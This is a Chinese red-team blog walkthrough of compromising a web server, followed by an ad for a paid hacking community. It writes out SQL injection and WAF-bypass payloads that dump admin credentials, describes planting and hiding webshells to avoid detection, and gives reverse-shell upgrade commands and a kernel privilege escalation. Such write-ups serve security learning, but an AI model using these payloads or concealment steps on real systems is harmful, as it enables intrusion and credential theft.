红队攻防|拿下服务器root权限

avatar
作者
猴君
阅读量:7

0x00前言

分享一个简单的项目,小有坎坷但仍旧几乎畅通无阻的最终拿下root权限。

图片

先说重要的事情:

如有漏码少码导致能定位目标请各位师傅手下留情,后台留言提醒必有红包重谢!

 

图片

0x01信息收集

过程略,收集到目标的主站、邮服、dns服务器,之后选择从主站入手。

0x02漏洞挖掘

先在域名后随手加一个admin找到后台。

图片

回到前台,随意点点,发现可疑参数id

图片

?id=125 and 1=0  页面变空白

?id=125 and 1=1  页面恢复正常

确认存在数字型注入,数字型注入的payload后面一般不用加注释(图略,打码太累了)

图片

?id=125 order by 7 页面正常

?id=125 order by 8 页面报错

确认注入点查询7列(图略,打码太累了)

图片

?id=125 union select 1,2,3,4,5,6,7  使用union联合查询注入确认回显点时存在问题,页面迟迟无响应。

图片

猜想是有waf做了过滤,接下来逐步测试waf到底过滤了什么东西。每个waf都有自己的过滤特征(以前的安全狗是出现一只狗),可以判断该waf的过滤特征就是页面无响应,所以出现其他情况(正常回显,数据库报错等)都可判断是绕过waf成功。

?id=125 union 页面报错而不是无响应,说明waf没有过滤union

图片

?id=125 union select 页面无响应,说明过滤了select或union select

图片

 

?id=125 union sElecT 关键字大小写混用尝试绕过,页面依旧无响应,绕过失败(图略)

?id=125 union /*!sElecT*/ mysql内联注释尝试绕过过滤,页面报错,绕过成功!

图片

?id=125 union /*!sElecT*/ 1,2,3,4,5,6,7 确认回显列,却没有在页面发现数字回显,依旧是正常显示着新闻。(图略,打码太累了)

图片

?id=0 union /*!sElecT*/ 1,2,3,4,5,6,7 怀疑是代码没有用循环输出,所以只能显示查询出的第一列,正常查询的结果干扰了我们注入的回显。于是更改前面的id为0,让程序查不出正常的数据,成功发现第2和第5列回显

图片

通过information_schema数据库找表找列的注入过程略,最终查出管理员账号密码的payload如下(中间又被waf拦了一次,于是将内联注释做了一个升级,空格和union关键字也做了混淆最终绕过):id=0/**/UniOn/**//*!50000sEleCt*/1,2,3,4,group_concat(concat_ws(‘@’,username,pwd) separator ‘<br>’),6,7/**/From/**/admin

这里解释一下,concat_ws函数是将多个列的结果合并返回,以第一个参数为分割符。group_concat则是多个行的结果合并返回,以separator后面指定的参数(换行符)为分隔符,于是一条payload即可注出表中所有数据。

图片

登陆后台找到编辑器功能。

图片

上传图片处没有限制后缀也没有检测内容,上传webshell成功。

图片

右键查看图片地址,访问却404 Not Found了。

图片

查看编辑器框架的源代码。

图片

发现可疑链接。

图片

尝试访问并测试成功,后面猜测/resizeimage里存放的是缩略图,上传的php文件无法处理成缩略图形式所以404,而uploadfiles里面存放的是原图。

图片

蚁剑连接成功,特别喜欢这个绿色的小框框。

图片

在隐蔽的目录下藏一个新的webshell,然后去后台把刚才的webshell删除,避免被轻易发现。

图片

0x03 反弹shell

用户权限不高,接下来尝试提权

图片

因为webshell基于http协议(无状态协议),前后操作没有关联,提权成功后下次操作还是会回到原点。所以要先反弹一个shell出来,这里用自己的vps,先关闭vps的防火墙。

图片

然后在vps上用nc监听9999端口。

图片

 

用webshell给目标服务器写入一个py的反弹脚本。

图片

在蚁剑上执行py脚本,可以看到vps上成功接收到shell。

图片

此时的shell仍然不是一个交互式shell,不能执行交互性工作和su命令,需要用pty库模拟一个终端出来,并用stty升级成完全交互式shell。

图片

看图不清楚的,文字描述过程如下:

//这里是在受害机反弹回的shell里的操作,先用ptyshell提升成半交互,然后Ctrl+Z挂起

$ python -c 'import pty;pty.spawn("/bin/bash")'

Ctrl+Z

//这里是反弹shell挂起后在本机shell里的操作,stty升级后用fg把挂起的shell调出到前台

$ stty raw -echo

$ fg

//这里重新进入了反弹shell,一开始页面会有点怪,执行了reset后就会恢复

$ reset

$ export SHELL=bash

$ export TERM=xterm-256color

$ stty rows <num>columns <cols>

0x04 提升权限

开始提权,尝试使用suid提权:带有s标志的文件运行时会以创建者而非使用者的权限运行,一些敏感命令如果带有s属性可以用来提权。查找了所有s标志位文件,试图用ping命令提权失败(忘了截图了)。

图片

改变思路,利用linux内核漏洞CVE-2012-0056成功提权。

图片

 圈子的最近主题和圈子内部工具一些展示

poc漏洞库 8000+src陆续更新中 -紧跟时代发展争做先进网安人

图片

一起愉快刷分-榜上有名

图片

免杀-护网必备

图片

新手学习、老手巩固-温故而知新

图片

学习报告-三人行必有我师

图片

各类会员-尊贵的SVIP

图片

图片

图片

 

「你即将失去如下所有学习变强机会」

学习效率低,学不到实战内容,花几千、上万报机构没有性价比

一顿自助钱,我承诺一定让用户满意,也希望用户能给予我一份信任

【详情下方图片了解】,【扫下方二维码加入】:只做高质量优质精品内容」

圈子目前价格为¥99元(交个朋友啦!),现在星球有近150+位师傅相信并选择加入我们,圈子每天都会更新内容,老用户可永久享受初始加入价格,圈子内容持续更新中

一张图总结

图片

广告一刻

为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!